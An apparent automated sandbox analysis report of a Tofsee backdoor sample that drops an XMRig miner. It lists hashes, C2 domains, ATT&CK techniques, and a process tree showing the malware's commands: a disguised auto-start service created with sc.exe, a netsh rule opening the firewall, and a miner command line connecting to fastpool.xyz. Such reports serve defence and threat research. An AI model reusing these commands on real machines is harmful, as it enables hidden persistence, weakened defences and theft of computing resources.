Analysis

  • max time kernel
    139s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-04-2023 11:51

General

  • Target

    file.exe

  • Size

    212KB

  • MD5

    a28432f1ae1231aa338ca25bb76bca43

  • SHA1

    71f949d29951d3dc188e7553caaec487a114a88f

  • SHA256

    edb6dd6f22989b7d58e3cd4a941cb7bae8c12371f59d9623bad1c6201e75ad72

  • SHA512

    bafc90498131959718497031e8fd72ca6d458d82d28b1a8924984caf33ab1d09eb8d48c7f01019335b3ac7b348d71a562229cf4c8f193889eccee8b3fe820227

  • SSDEEP

    3072:19CDeqA5IRiybXzQy3HD5/062XLV/6bZXoVbFRdLa7222WV65tPcCcqI7iMOre:7ksIRld3D106s3VHdm0PcCcN7iMA

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tkhfsayk\
      2⤵
        PID:944
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iukxlkcg.exe" C:\Windows\SysWOW64\tkhfsayk\
        2⤵
          PID:660
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tkhfsayk binPath= "C:\Windows\SysWOW64\tkhfsayk\iukxlkcg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tkhfsayk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tkhfsayk
          2⤵
          • Launches sc.exe
          PID:1196
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:964
      • C:\Windows\SysWOW64\tkhfsayk\iukxlkcg.exe
        C:\Windows\SysWOW64\tkhfsayk\iukxlkcg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1676
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1232

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\iukxlkcg.exe
        Filesize

        10.4MB

        MD5

        a706f63cdcedf106008de1abb2ea60c4

        SHA1

        d51da38963670027131805403dfeffed8bb6d75a

        SHA256

        dbd7ea8321050b2a98bbd47cc2b9162df22943bf85bdfee1245a1a1a0c9e6b52

        SHA512

        2b22d127b351e7e02d8a51e8855303724d25a457b449681ccc4296128f6d77646715d2a4deb4e97f69713042ba395c2cb0b337c1baea9e66bcb2fcd710440143

      • C:\Windows\SysWOW64\tkhfsayk\iukxlkcg.exe
        Filesize

        10.4MB

        MD5

        a706f63cdcedf106008de1abb2ea60c4

        SHA1

        d51da38963670027131805403dfeffed8bb6d75a

        SHA256

        dbd7ea8321050b2a98bbd47cc2b9162df22943bf85bdfee1245a1a1a0c9e6b52

        SHA512

        2b22d127b351e7e02d8a51e8855303724d25a457b449681ccc4296128f6d77646715d2a4deb4e97f69713042ba395c2cb0b337c1baea9e66bcb2fcd710440143

      • memory/1232-124-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-123-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-122-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-121-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-120-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-119-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-111-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1232-109-0x0000000000130000-0x0000000000221000-memory.dmp
        Filesize

        964KB

      • memory/1480-56-0x00000000002B0000-0x00000000002C3000-memory.dmp
        Filesize

        76KB

      • memory/1480-59-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/1676-88-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-95-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-78-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-81-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-82-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-83-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-84-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-85-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-87-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-74-0x0000000001940000-0x0000000001B4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1676-89-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-90-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-91-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-92-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-93-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-94-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-75-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1676-96-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-97-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1676-98-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/1676-101-0x00000000000C0000-0x00000000000C5000-memory.dmp
        Filesize

        20KB

      • memory/1676-102-0x0000000005400000-0x000000000580B000-memory.dmp
        Filesize

        4.0MB

      • memory/1676-105-0x0000000005400000-0x000000000580B000-memory.dmp
        Filesize

        4.0MB

      • memory/1676-106-0x0000000000170000-0x0000000000177000-memory.dmp
        Filesize

        28KB

      • memory/1676-71-0x0000000001940000-0x0000000001B4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1676-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1676-112-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1676-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1676-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1676-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1676-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1676-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1748-64-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB